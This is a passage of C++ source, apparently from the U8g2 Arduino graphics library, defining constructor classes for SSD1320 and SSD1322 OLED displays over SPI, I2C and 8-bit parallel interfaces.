u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_2_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X132_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_2_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X132_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_F_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X132_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_F_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X132_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1320_160X80_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1320_160X80_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1320_160X80_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1320_160X80_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1320_160X80_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1320_160X80_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1320_160X80_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_i2c_160x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1322_240X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_1_6800 : public U8G2 {\n  public: U8G2_SSD1322_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_1_8080 : public U8G2 {\n  public: U8G2_SSD1322_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_2_6800 : public U8G2 {\n  public: U8G2_SSD1322_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_2_8080 : public U8G2 {\n  public: U8G2_SSD1322_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1322_240X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1322_240X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = 